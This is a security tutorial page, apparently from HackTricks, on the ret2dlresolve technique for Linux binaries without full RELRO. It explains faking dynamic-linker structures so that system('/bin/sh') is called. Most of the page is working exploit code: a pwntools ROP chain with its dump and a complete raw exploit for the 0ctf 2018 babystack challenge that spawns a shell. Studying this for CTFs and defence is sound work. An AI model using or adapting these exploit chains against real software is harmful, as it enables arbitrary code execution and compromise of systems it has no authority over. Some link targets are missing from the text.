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Basic Information
As explained in the page about and , binaries without Full Relro will resolve symbols (like addresses to external libraries) the first time they are used. This resolution occurs calling the function _dl_runtime_resolve.
The _dl_runtime_resolve function takes from the stack references to some structures it needs in order to resolve the specified symbol.
Therefore, it's possible to fake all these structures to make the dynamic linked resolving the requested symbol (like system function) and call it with a configured parameter (e.g. system('/bin/sh')).
Usually, all these structures are faked by making an initial ROP chain that calls read over a writable memory, then the structures and the string '/bin/sh' are passed so they are stored by read in a known location, and then the ROP chain continues by calling _dl_runtime_resolve , having it resolve the address of system in the fake structures and calling this address with the address to $'/bin/sh'.
This technique is useful specially if there aren't syscall gadgets (to use techniques such as or ) and there are't ways to leak libc addresses.
Chek this video for a nice explanation about this technique in the second half of the video:
Or check these pages for a step-by-step explanation:
Attack Summary
Write fake estructures in some place
Set the first argument of system ($rdi = &'/bin/sh')
Set on the stack the addresses to the structures to call _dl_runtime_resolve
Call_dl_runtime_resolve
system will be resolved and called with '/bin/sh' as argument
context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
>>> rop = ROP(elf)
>>> dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["echo pwned"])
>>> rop.read(0, dlresolve.data_addr) # do not forget this step, but use whatever function you like
>>> rop.ret2dlresolve(dlresolve)
>>> raw_rop = rop.chain()
>>> print(rop.dump())
0x0000: 0x400593 pop rdi; ret
0x0008: 0x0 [arg0] rdi = 0
0x0010: 0x400591 pop rsi; pop r15; ret
0x0018: 0x601e00 [arg1] rsi = 6299136
0x0020: b'iaaajaaa' <pad r15>
0x0028: 0x4003f0 read
0x0030: 0x400593 pop rdi; ret
0x0038: 0x601e48 [arg0] rdi = 6299208
0x0040: 0x4003e0 [plt_init] system
0x0048: 0x15670 [dlresolve index]
Example
Pure Pwntools
from pwn import *
elf = context.binary = ELF('./vuln', checksec=False)
p = elf.process()
rop = ROP(elf)
# create the dlresolve object
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])
rop.raw('A' * 76)
rop.read(0, dlresolve.data_addr) # read to where we want to write the fake structures
rop.ret2dlresolve(dlresolve) # call .plt and dl-resolve() with the correct, calculated reloc_offset
log.info(rop.dump())
p.sendline(rop.chain())
p.sendline(dlresolve.payload) # now the read is called and we pass all the relevant structures in
p.interactive()
Raw
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html
# This exploit is based off of: https://github.com/sajjadium/ctf-writeups/tree/master/0CTFQuals/2018/babystack
from pwn import *
target = process('./babystack')
#gdb.attach(target)
elf = ELF('babystack')
# Establish starts of various sections
bss = 0x804a020
dynstr = 0x804822c
dynsym = 0x80481cc
relplt = 0x80482b0
# Establish two functions
scanInput = p32(0x804843b)
resolve = p32(0x80482f0) #dlresolve address
# Establish size of second payload
payload1_size = 43
# Our first scan
# This will call read to scan in our fake entries into the plt
# Then return back to scanInput to re-exploit the bug
payload0 = ""
payload0 += "0"*44 # Filler from start of input to return address
payload0 += p32(elf.symbols['read']) # Return read
payload0 += scanInput # After the read call, return to scan input
payload0 += p32(0) # Read via stdin
payload0 += p32(bss) # Scan into the start of the bss
payload0 += p32(payload1_size) # How much data to scan in
target.send(payload0)
# Our second scan
# This will be scanned into the start of the bss
# It will contain the fake entries for our ret_2_dl_resolve attack
# Calculate the r_info value
# It will provide an index to our dynsym entry
dynsym_offset = ((bss + 0xc) - dynsym) / 0x10
r_info = (dynsym_offset << 8) | 0x7
# Calculate the offset from the start of dynstr section to our dynstr entry
dynstr_index = (bss + 28) - dynstr
paylaod1 = ""
# Our .rel.plt entry
paylaod1 += p32(elf.got['alarm'])
paylaod1 += p32(r_info)
# Empty
paylaod1 += p32(0x0)
# Our dynsm entry
paylaod1 += p32(dynstr_index)
paylaod1 += p32(0xde)*3
# Our dynstr entry
paylaod1 += "system\x00"
# Store "/bin/sh" here so we can have a pointer ot it
paylaod1 += "/bin/sh\x00"
target.send(paylaod1)
# Our third scan, which will execute the ret_2_dl_resolve
# This will just call 0x80482f0, which is responsible for calling the functions for resolving
# We will pass it the `.rel.plt` index for our fake entry
# As well as the arguments for system
# Calculate address of "/bin/sh"
binsh_bss_address = bss + 35
# Calculate the .rel.plt offset
ret_plt_offset = bss - relplt
paylaod2 = ""
paylaod2 += "0"*44
paylaod2 += resolve # 0x80482f0
paylaod2 += p32(ret_plt_offset) # .rel.plt offset
paylaod2 += p32(0xdeadbeef) # The next return address after 0x80482f0, really doesn't matter for us
paylaod2 += p32(binsh_bss_address) # Our argument, address of "/bin/sh"
target.send(paylaod2)
# Enjoy the shell!
target.interactive()
Other Examples & References
32bit, no relro, no canary, nx, no pie, basic small buffer overflow and return. To exploit it the bof is used to call read again with a .bss section and a bigger size, to store in there the dlresolve fake tables to load system, return to main and re-abuse the initial bof to call dlresolve and then system('/bin/sh').
Support HackTricks
From the , this is how a ret2dlresolve attack look like:
You can find an containing a very good explanation of the final ROP chain, but here is the final exploit used:
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